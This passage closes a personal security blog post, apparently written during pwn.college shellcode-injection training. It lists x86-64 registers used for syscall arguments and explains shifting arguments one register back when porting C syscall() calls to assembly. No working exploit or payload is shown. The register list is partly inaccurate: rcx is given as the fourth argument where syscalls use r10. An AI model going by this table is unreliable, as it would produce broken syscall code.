src="https://cdn-images-1.medium.com/max/989/1*K4RUkmkyd-ng74tJ3R2KJg.png" /></figure><p>this is syntax used in to pass values that are soon to be executed by a function in assembly.</p><p>this is how assembly stores arguments</p><pre>rax: caries return values also carries syscal values usaly the 0 argument<br>rdi:    First Argument<br>rsi:    Second Argument<br>rdx:    Third Argument<br>rcx:    Fourth Argument<br>r8:     Fifth Argument<br>r9:     Sixth Argument</pre><p>since in the c files the syscall function takes more operators one extra argument is added that pushes things to the next argument register so to reverse this you just move arguments one register back eg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UuhnZLoyGzbLenX2fCU6Zg.png" /></figure><p>what is in <strong>rdi </strong>goes to rax, what is in <strong>rsi</strong> to <strong>rdi</strong> then on and on. The good thing about this method is that you do not need to check the syscall table thus saving you more time.</p><p>Thank you for taking the time to read through this blog post. I would like to express my gratitude to the pwn.collage for their valuable training and challenging experiences, which have contributed to my understanding of shellcode injection.</p><p>I hope you found this blog post informative and helpful. If you have any further questions or need assistance, please feel free to reach out at muchiemma.sec@gmail.com . Have a great day ahead!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*lWBF2iDtFACIkpU8IbsSQg.jpeg" /></figure><p><em>Originally published at </em><a href="https://muchiking.github.io/2023-07-13-Blog-Post-on-code-injection/"><em>https://muchiking.github.io</em></a><em> on July 13, 2023.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=703c3f214c46" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>